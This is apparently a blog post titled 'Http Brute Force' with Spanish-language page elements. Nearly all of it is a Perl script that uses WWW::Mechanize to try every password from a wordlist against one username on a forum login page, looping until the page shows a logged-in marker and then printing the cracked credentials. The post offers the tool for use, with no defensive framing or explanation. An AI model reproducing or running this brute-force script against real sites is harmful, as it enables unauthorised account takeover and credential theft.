1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | !/usr/bin/perl use Carp; use WWW::Mechanize; #open pwlist open INPUT, "file.txt"; my $pw = 0; @lines = <INPUT>; close INPUT; my $webaddress = 'http://www.target.com/forums/login.php'; my $username = 'zondoz'; my $mech = WWW::Mechanize->new( cookie_jar => {}, ); login: my $password = @lines[$pw]; my $response = $mech->get($webaddress); if (!$response->is_success) { die "Login page unreachable $webaddress: ", $response->status_line, "\n"; } # Login $mech->field('username', $username); $mech->field('password', $password); my $response = $mech->click(); if ($response->is_success) { goto checkpw; } else { die "Login failed: ", $response->status_line, "\n"; } 1; checkpw: if($mech->content( format => 'text' ) =~ m/You last visited/i){ print "++++++++++++++++++++\n"; print "LOGIN SUCCESSFUL!\n"; print "USERNAME: $username\n"; print "PASSWORD: $password\n"; print "++++++++++++++++++++\n"; } else { print "trying $username:$password attempts:$pw\n"; $pw ++; goto login; } |
Http Brute Force
Suscribirse a:
Enviar comentarios
0 comentarios: sobre Http Brute Force
Publicar un comentario para Http Brute Force